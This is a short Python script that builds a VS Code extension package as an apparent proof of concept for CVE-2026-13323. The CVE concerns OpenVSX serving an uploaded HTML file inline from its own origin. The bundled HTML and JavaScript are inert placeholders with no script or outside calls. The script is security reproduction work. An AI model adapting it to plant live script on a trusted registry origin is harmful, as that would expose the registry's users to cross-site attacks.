import zipfile
import os
vsix_path = "testpub.testext-1.0.0.vsix"
content_types = '''
'''
vsixmanifest = '''
Test Extension
Test extension for CVE reproduction
__ext_testext
Other
Public
'''
package_json = '''{
"name": "testext",
"displayName": "Test Extension",
"description": "Test extension for CVE reproduction",
"publisher": "testpub",
"version": "1.0.0",
"engines": { "vscode": "^1.51.1" },
"categories": ["Other"],
"main": "./out/extension.js",
"contributes": {
"commands": [{ "command": "testext.hello", "title": "Hello World" }]
}
}'''
html_payload = '''
OpenVSX Inline HTML PoC
CVE-2026-13323 PoC
This HTML file is served inline from the open-vsx.org origin.
'''
extension_js = '// Minimal extension entry point\nexports.activate = function() {};\nexports.deactivate = function() {};'
with zipfile.ZipFile(vsix_path, 'w', zipfile.ZIP_DEFLATED) as z:
z.writestr('[Content_Types].xml', content_types)
z.writestr('extension.vsixmanifest', vsixmanifest)
z.writestr('extension/package.json', package_json)
z.writestr('extension/payload.html', html_payload)
z.writestr('extension/out/extension.js', extension_js)
print(f"Created {vsix_path} ({os.path.getsize(vsix_path)} bytes)")